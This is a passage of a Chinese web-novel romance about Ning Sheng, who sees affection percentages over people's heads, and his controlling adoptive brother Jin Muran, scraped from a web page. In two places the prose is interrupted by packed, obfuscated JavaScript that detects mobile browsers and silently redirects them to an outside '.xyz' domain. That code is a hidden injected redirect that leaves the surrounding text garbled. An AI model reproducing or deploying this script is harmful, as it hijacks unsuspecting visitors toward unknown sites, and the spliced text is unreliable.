盛禾飞速发展这些年,海城盯着他们的人也不少。他可以竭尽所能去盘算、筹谋、掌控一切事物。 然而再怎么无坚不摧的人也有软肋,而他的软肋就是宁笙。 “唔……”宁笙忍不住双手捂着胃部。 靳穆然觉得自己跟一个小醉鬼说大道理也是气昏了头,他语气缓了下来:“告诉我,哪里不舒服?” 宁笙觉得嘴巴在疯狂分泌唾液,咽了咽口水,“哥哥,我……” 话没说完,他就哇一声吐了出来。 车厢内顿时弥漫开一股酸涩的酒气,混着酒液的污物吐在了他和靳穆然的衣服上。 靳穆然盯着那片狼藉,额角青筋微跳。 当下就在心里冷冷发誓,今后再也不会让宁笙有喝醉酒的机会。 最可笑的是,他还没开口斥责,闯了祸的宁笙自己先垮下了一张脸。 琥珀般的眼眸仿佛被冰川洗涤过,湿漉漉的,鼻尖和眼尾有些发红,仿佛受了天大的委屈。 宁笙吐出来觉得胃里舒服多了,但他有点嫌弃自己吐出来的东西,漂亮的小鼻子皱起:“好难闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411804|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……” 靳穆然看着眼前这个醉得东倒西歪、全然不知自己干了什么的小混蛋,一股火气硬生生梗在胸口,上不去也下不来。 终于到了家,司机赶紧下车开门,被车厢里的酸臭惊到了。 靳穆然铁青着脸先下了车,脱下被弄脏的西装外套——Emporio Armani秋季最新款,直接报废成抹布。 他弯腰将软绵绵的人从后座捞出来。 宁笙半挂在他身上,脑袋一点一点,嘴里无意识地哼唧着:“路怎么是歪的……好晕……房子、树木、路灯也是歪的哎。” 靳穆然下颌线紧绷,把人打横抱进了门。 这个点儿桂姨还没睡,在厨房盯着每天要喝的雪梨百合水。 看见浑身脏兮兮的两人进来,吓了一跳。 “天呐,小笙少爷怎么回事?” “不小心喝了酒。”靳穆然不愿多说:“桂姨麻烦你帮笙笙煮碗醒酒汤。” “好好好,小笙少爷真是的,醉成这样第二天有得难受了。” 靳穆然径直抱着宁笙上了楼。回到房间,直接将人放到了浴缸里。 他身上全是呕吐的污物,黏糊成一片,只能全部脱了洗澡。 靳穆然三下五除二脱了宁笙的衣服。 还没当热水,浴缸壁冰凉,宁笙曲起腿,皱眉:“好冷。” 他雪白粉润的身体在灯光下呈现奶油般的质地,两侧细腰微凹,紧接着是线条优美的胯骨。 宁笙骨架偏细,身上藏不住几两肉,唯独大腿和屁股有些肉感。 刚成年的漂亮男生,浑身上下透着雌雄莫辨的美。 可他的眼型又偏向清冷,挑起眼尾看人时,那双淡淡的琥珀眼眸中和了女气。 靳穆然不仅眼眶在发热,身体的某处也硬·得发痛。他忍着去阳台吸烟的冲动,打开了淋浴喷头。 水流声哗哗作响,氤氲的热气开始弥漫开来。 宁笙似乎清醒了一点点,微微睁开眼。 湿漉漉的粉色头发向后捋起,露出一个光洁饱满的额头。 “哥哥,水有点烫……”他小声叫道,声音被水声掩盖了一些。 靳穆然动作一顿,眼神扫过来。 宁笙立刻捂住嘴巴,生怕被责骂似的眨了眨眼睛。 靳穆然闭了闭眼,深吸一口气,压下心头那股无名火。 调低水温后,他用泡沫粗略地把宁笙全身过了一遍,然后拿起喷头快速冲洗。 好不容易把人从头到脚洗干净。 靳穆然关掉水,拿过一旁宽大柔软的浴巾,对泡在水里的宁笙道:“起来。” 泡在水里太舒服了,宁笙有点不舍得出来,靠在浴缸壁上眼皮耷拉着,仿佛下一秒就要睡着。 靳穆然把人从水里捞出来,用干燥柔软的浴巾裹住抱回了卧室。 宁笙脑袋一歪躺在床上。 他依然很昏沉,眼前某处白光眩目,让他忍不住盯着看。 原来是他哥头顶的【94%】。 靳穆然拿了睡衣给他换上。 手指掠过他呼吸起伏的雪白胸膛,残留的水汽让皮肤呈现出微闪的光芒,两抹粉色愈发甜美。 一颗颗纽扣系上,靳穆然亲手将那片旖旎光景藏在衣襟之下。 他花了很长的时间去平复心神。 从小他就知道一个道理,想要得到某样东西时,蛰伏是最好的方法。 即便这一点做到需要惊人的忍耐力和自制力。至少现在,他不能吓到他。 宁笙依然盯着他的头顶,睫毛像小扇子般眨了眨,语气神神秘秘的:“哥哥……我告诉你一个秘密……” 靳穆然黑沉的眼眸垂下,指腹不经意擦过他柔软的唇:“嗯?笙笙还有什么秘密是我不知道的?” “当然有。” “那你说来听听。” 宁笙似乎有些纠结,他嘴唇上的水渍亮晶晶的,像玫瑰花瓣点缀着露珠。 靳穆然完全是哄小孩的语气,“不说就睡觉了,明天起来再教训你。” 他只当宁笙在说醉话。 “真的有!”宁笙眼眸专注,伸手去触碰他头顶的数字,指尖穿过虚无的白光,“这里有个东西……会发光的……数字……” 14. 第14章 梦中的水汽还未完全散去,萦绕在鼻尖的,一股冷冽又干净的气息。 宁笙睁开沉重的眼皮,揉了揉因宿醉发疼的太阳穴。 看清楚卧室里的摆设后,他猛地坐了起来,却因一阵眩晕又倒了回去。 ……这是他哥的房间,成年以后他很久没在这里睡了。 昨晚他虽然不至于完全断片,但也只记得一小部分。 零碎的片段闪过,宁笙的脸颊莫名有些发烫。 他摸到身上的睡衣,想起这是靳穆然帮他洗的澡,换的衣服。 但这个不是重点,宁笙捋了捋凌乱的头发,他昨天为什么会喝醉呢? 不是说好的无酒精吗?QAQ。 宁笙在床头摸到了自己的手机,一打开是全是顾嘉言他们的消息。 【顾嘉言:兄弟我对不起你!都怪我不小心拿错了酒!你哥没有教训你吧?他昨晚那个表情可吓人了……搞得我一晚上没睡好。】 【顾嘉要:醒了赶紧给我回消息啊啊啊啊!我今天都无心兼职,兄弟我真没招了。】 宁笙:“……” 所以是顾嘉言拿错酒了,昨晚他喝的不是果汁而是高度果味酒。 难怪他才喝两杯就倒了,靳穆然来抓他的时候好像挺生气的。 对了——他还吐在了他身上! 宁笙眼前一黑,默默下了床。做贼似的想溜回自己房间,假装一切都没发生。 然而刚打开门出去,就和靳穆然迎面对上了视线。他穿着白色衬衫和休闲裤,刚从书房方向过来。 不是?他的卷王哥哥平常这个点儿已经出门了啊?今天怎么还在家里! 宁笙头皮一麻,硬着头皮喊了句:“哥哥”。 靳穆然“嗯”了一声,目光落在宁笙脚下,没穿鞋子,漂亮粉润的脚趾踩着地板。 他皱眉:“宁笙,我是不是说过让你在家要穿鞋?” 宁笙缩了缩脖子:“哦……我忘记了,我马上穿。” 家里常年开着恒温系统,而且三楼全是木地板,宁笙根本不觉得不穿鞋有什么大不了的,就他哥老是说地上凉容易生病。 “站着,我去给你拿。” 靳穆然回卧室给他拿来拖鞋,半蹲在地上,宁笙被他头顶的【95%】闪到眼睛,登时就呆在了原地。 他刚刚还有点懵,都没注意到他哥的数字又增加了1%。 猝不及防的。 “昨晚的live house好玩吗?” 靳穆然帮宁笙穿上了鞋子,手指不经意摩挲过凸起的踝骨。宁笙轻颤一下,气势霎时矮了半截:“还行。” “好玩怎么不叫上我陪你玩?” “你不是工作忙嘛……每天不是这个会就那个会。”宁笙决定先主动认错,“哥哥,不管你相不相信,我昨晚不是故意喝醉酒的。” “还有呢?”靳穆然追问。 “还有什么?”宁笙卡壳了,他以为承认去喝酒就是最大的错误了。 “对我撒谎。” 靳穆然替他说了出来,语气更沉:“宁笙你长本事了,谎话张口就来。” 宁笙脸上一阵发烫,差点忘了还有这茬,小声辩解:“我不是故意要骗你,我就是……行吧我是说谎了。那还不是因为说实话你肯定不让我去吗?” 兔子急了还会咬人呢! 很多事情要不是靳穆然太过严厉,他根本不需要撒谎,这事儿他是有错,他哥也得反省。 “嗯?”靳穆然终于站了起来,他身高腿长,一步步走近,带着无形的压迫感。 “我为什么不让你去,难道你心里没数吗?那种地方鱼龙混杂,你酒量多少自己不清楚?万一出点事,你让我……” 他顿了一下,把后半句话咽了回去,转而道,“你让我怎么跟过世的宁叔叔交代?” 宁笙被他训得一直向后退,嘴唇抿着,脸颊那颗小痣也颤颤的。 他成年了,就去一次酒吧,怎么就像犯了天大的错一样? “我觉得我爸如果还活着,他都没你管得严。”宁笙小声嘴犟着。 靳穆然看着他这副样子,压下去的火气又蹭一下窜上来,“很好,看来你还没有认识到自己的错误。这段时间我让方晁去学校看着你,放了学立刻回家哪也别去了。” 宁笙脸垮了,咬住唇瓣:“……哥哥。” 靳穆然冷脸:“好好反省,别撒娇。” “我没有。”宁笙真是冤枉,他这是撒娇吗?他是生无可恋! “不许这样咬嘴唇。” “……不是。”宁笙抬起眼睫,忿忿道:“你这也要管我?” 靳穆然压下眼尾,指节扣了扣宁笙的额头:“嫌我烦了是吗?我不管你管谁?要是再敢对着我说谎……” 他没有把话说完,宁笙却被他眼里的黑沉吓到了。仿佛一个巨大深邃的漩涡,稍有不慎就会将他吞噬。 他下意识后退了一步。 仅仅一瞬间,靳穆然就敛去了那些情绪,平静温和一如往常。 宁笙憋着一肚子的委屈回了房间。 …… 顾嘉言和林也对宁笙身边多了方晁这个移动监控的事情表示震惊。 “原来电视剧里演的都是真的,你说你哥下次会不会给你雇几个黑衣保镖啊?我去,那真的可太威风了!” 林也白了他一眼:“闭嘴吧顾嘉言,宁笙有今天还不是因为你那天闹乌龙?再说了谁愿意整天被人盯着呢?” 宁笙当然不喜欢了,但是他也不想为难方晁。所以这段时间都是乖乖配合,下了课就直接回家。 然而这天上完课,许久没见的辅导员出现了。 “听好了!一个都不许走哈,全部人给我去西篮球场看比赛!关系到我们海大的集体荣誉感,看完还要清点人数,谁提前走了这个学期别找我批假。” 辅导员站在讲台上,语气不容置疑。 教室里顿时一片哀嚎,夹杂着收拾书本的杂乱声响。宁笙叹了口气,拿出手机给方晁发了条消息。 下午最热的时间已经过去了。 西篮球场人声鼎沸,双方院校的旗帜在风里猎猎作响。 三人找了个靠前的位置坐下,视野还挺不错。 “啧,阵仗不小啊。”顾嘉言环顾四周,用手肘碰了碰宁笙,“哎,你看那边,那不是李乐回吗?” 宁笙顺着他的目光看向球场。 穿着红色队服的李乐回正在场上奔跑,黝黑的皮肤已经被汗水打湿,接球运球的动作矫健,在人群中很显眼。 他似乎有些心不在焉,目光总有意无意地扫向看台。 当他终于捕捉到宁笙的身影时,动作明显顿了一下,然后咧出了一排白牙。 比赛刚开始不久,李乐回一个漂亮的假动作晃过防守队员,急停跳投,篮球划出一道完美的弧线,最后精准入网—— 观众席爆发出欢呼。 “可以啊李乐回!”顾嘉言虽然挺讨厌他的,但是人家打得好也是真的。 宁笙也下意识跟着人群鼓起掌。 李乐回进了球,第一时间望向宁笙,看到他为自己喝彩,本就因为运动泛红的脸颊就更红了。 顾嘉言也看见了,嘴里骂骂咧咧:“草了。我觉得他是不是在颅内高.潮呢?” 林也白了顾嘉言一眼:“虽然大概率是,但你这话也太糙了吧。” 整个上半场比赛,李乐回每一次进球就要看宁笙,头顶上方的数字疯狂跳动。 “……”宁笙鼓掌的手微微一顿,差点被那刺眼的数字晃到。。 【98%】 比赛因为李乐回的爆发,呈现了碾压对面港大的良好态势。 下半场他和队友默契配合撕裂对手的防线, 一个远距离三分进球后,他看向宁笙比了个得意的手势,眼神亮得惊人。 已经有很多人默默注意到了,一副吃瓜的暧昧表情。 宁笙感到一阵鸡皮疙瘩爬上来。 林也打了个冷颤:“惹,他真的一直看我们宁笙。” 比赛一直进行到傍晚,海大最后获得了比赛的胜利。 宁笙不想多待,拉着顾嘉言和林也就要走。 刚挤出人群,李乐回快步追了上来。 “宁笙!”他脸上是运动后的潮红和兴奋,“我没想到,你真的会来看比赛了。我很开心,真的!” “我们整个专业都来了,辅导员组织的,不看以后不让批假。”宁笙尽量让语气平淡正常。 “我……我打得怎么样?”李乐回眼神充满期待,选择性忽略宁笙的话,那份炽热几乎要溢出来。 “挺好的,恭喜你们赢了比赛。” “其实是大家配合的很好。”也因为你来看比赛了,我会更有动力。李乐回默默在心里补了一句。 “还有事吗?我朋友在等我。” 李乐回羞涩地抓了把头发,眼珠不错地盯着宁笙在余晖中仿若透明的脸庞。 “宁笙,其实我、有话跟你说……” 人群中忽然一阵骚动。 此起彼伏的议论声让宁笙没注意到李乐回在说什么,他逆光看向熙熙攘攘的人头,一个极高的人影走过来。 “笙笙。” 金色的余晖勾勒着他利落的下颌线,英俊的脸庞带着一种久居上位的冷峻和疏离感。 是靳穆然。定制西装包裹着他精悍的身躯,他步伐沉稳,所过之处,喧闹的人群不自觉安静下来,为他分开一条通路。 宁笙愣了一下,没想到靳穆然会直接到学校来找他:“哥哥?你怎么来了?” 靳穆然伸手抚了抚宁笙被吹乱的额发,“刚好在附近谈完事,顺路接你。” 说完他才漫不经心扫过一旁的李乐回。 但只是淡淡一瞥,没有任何停留,仿佛只是个无关紧要的背景板。 靳穆高重新看向宁笙,“走吧。” 李乐回脸上的潮红褪去,皱眉盯着宁笙的脸。他张了张嘴,想说什么。 但在那种无形的、强大的压迫感面前,所有的话都卡在了喉咙里。 …… 坐进车里,隔绝了外面的喧嚣,靳穆然闭目养神,侧脸线条冷硬。 刚才那个男生看向宁笙眼神……其实不仅仅是他,还有人群中窥视的无数目光。 宁笙站在那里,仿佛误入狼群的小绵羊,殊不知他早已勾得别人的蠢蠢欲动。 当然了,自己也不是什么好东西。 宁笙心中完美温柔的哥哥,其实是时时刻刻想将他拆吞入腹的恶犬。 靳穆然睁开眼睛,目光落在宁笙细白的后颈上,他今天穿的T恤领口很宽,粉色的头发有些长了,发尾散落了贴着皮肤。 因为在室外待得太久,身上出了薄薄一层汗,混和着他独有的香气。 靳穆然垂在腿侧的掌心握紧,深呼吸了一口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411805|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哥哥,我们不是回家吗?”宁笙转过头,疑惑地看向靳穆然。 窗外的街景飞速倒退,宁笙起初并未在意,但过了几个路口,他渐渐发觉这根本不是回回家的路。 靳穆然松开拳头,呼吸克制,“不回家,我们去港城几天。” “现在?去港城?”宁笙愣住了,“我什么都没带……” “方晁会把行李送到酒店。”靳穆然顿了顿,看似随意地补充道,“笙笙不是说我整天关你禁闭吗?这几天陪你在港城好好玩。” “哥哥不用上班?” “重要的工作都处理好了,唐秉在公司盯着。”靳穆然揉了揉宁笙的头发,唇角微勾:“另外还要参加周聿为的订婚宴。” “订婚?”宁笙惊讶地睁大眼睛,下意识重复了一遍。 周聿为他是知道的,靳穆然为数不多的好友之一,家世显赫,性格张扬。处事风格和靳穆然完全相反。 宁笙印象深刻的一次,是他在酒会上跟人大打出手。准确来说是他单方面把人按在地上不要命的揍。 这事儿当时闹得挺大,导致他的风评极度恶劣。成了海港两地豪门太太小姐眼中的夫婿黑名单。 不过其实周聿为压根不在意,因为他喜欢男人。宁笙很久之前就听过他对一个叫孟慎语的画家死缠烂打。 宁笙因为喜欢画画,所以看过孟慎语的个人画展。远远的虽然没太看清正脸,但身量气质都很出尘, 但“订婚”还是让他心里有些微妙。 以现今社会的制度,同性婚姻并不受法律保护,周聿为出身港岛政商家族,这个订婚仪式就等于是公开自己的性向了。 宁笙虽然是直男,但该说不说,周聿为用于承认同性恋人这件事还挺男人的。 …… 一进入港城范围,宁笙就被街头繁华瑰丽的景色吸引了。 这里和海城遍地高新大楼的风格不同,现代化中又融合复古厚重感。 餐厅是某个著名的空中餐厅,可以看见夜色下如钻石星河般璀璨的建筑,以及浪漫唯美的维多利亚港。 舒缓的古典乐静静流淌,餐厅内光线幽暗雅致,氛围私密。 侍者恭敬地引他们去了一个靠窗的绝佳位置。 还未走近,宁笙就看到了那个显眼的身影。周聿为穿着一件浅橘色衬衫,随意敞开的领口挂着墨镜。 而他旁边的孟慎语握着杯子垂眸低笑,不知道在聊些什么。 周聿为眼尖,立刻朝他们招了招手。目光落到靳穆然身旁的宁笙上,“哟,我们宁笙小少爷也来了?怎么染了一头粉毛,你哥哥这个老古板没说你?” 孟慎语用手肘轻轻碰了他一下,示意他收敛点。 宁笙看了他哥一眼,他当时染这个颜色是一时兴起,他哥知道后还挺生气的。但是生气之后也只能接受了。 再说了粉色怎么了,改天他还想去染彩虹色呢…… 不过好在靳穆然并没有旧事重提,只是给他倒了杯水:“笙笙把水喝了,我看你嘴巴都有点掉皮了。” 宁笙乖乖点头,拿起杯子喝水,淡淡的迷迭香味。 靳穆然接过侍应生的餐牌,点了几个宁笙爱吃的菜,又仔细说了他的饮食忌口:“姜葱蒜香菜芹菜这种如果要用的话,后期要单独剔除出去,我家小朋友能接受这些味道,但是不能吃进去。” 宁笙是比较讨厌这种特殊香味的食材,平常也不觉得有什么。现在乍一听,感觉自己还挺麻烦的。 周聿为和孟慎语对视一笑,“宝宝,我是不是早跟你说过了,靳穆然年纪轻轻就给他人当爹了,想当年……” 靳穆然把菜单合上:“周老爷子最近身体还康健吗?怎么没把你腿打断?” 说起这个,周聿为立刻就激动了起来,“你们是不知道,我家老爷子当时差点没把茶杯砸我脸上了。后来气不过,又去找他当年收藏的古董拐杖追着我打。” 周聿为说得兴起,手臂揽住了孟慎语的肩膀:“还好我家宝宝会心疼,你老公我也不算白白挨一顿打了。” 宁笙目光落在周聿为搭在孟慎语肩头的手上,又很快移开。 他想起靳穆然和自己相处的点点滴滴。 他和他哥也经常这样搂搂抱抱,但是从来没有觉得哪里不对劲过。 所以……同性伴侣也是这样相处的吗? 宁笙抿了抿唇,很快又把这个念头甩掉。他和他哥不一样,他们虽然没有血缘,但是感情上和亲兄弟没差。 “所以,订婚仪式穿的伴郎服我已经让人给你准备好了,绝对帅炸。”周聿为终于说到了正题,看向靳穆然,“你小子可别到时候给我摆臭脸。” 靳穆然抿了一口酒,淡淡应道:“看你表现。” 一顿饭吃得还算愉快,宁笙和孟慎语因为都喜欢画画,所以共同话题还挺多的。他们还约了订婚仪式后一起去看画展。 吃饭的时候喝了太多水,宁笙忍不住去了一趟洗手间。 离席时无意间回头,看到周聿为正和靳穆然低声说着什么,表情是难得的认真。 而他哥眉头微蹙,目光深沉。 宁笙心下觉得有些不安,有什么事情叫他哥这样的人也会觉得棘手烦恼? 他忙着想事情,一转头竟然不小心撞上了人。 “抱歉……” 沈曼怡踩着高跟鞋后退了一步,皱起眉头正要说话时,忽然惊讶地睁大了眼睛:“你是……宁笙?”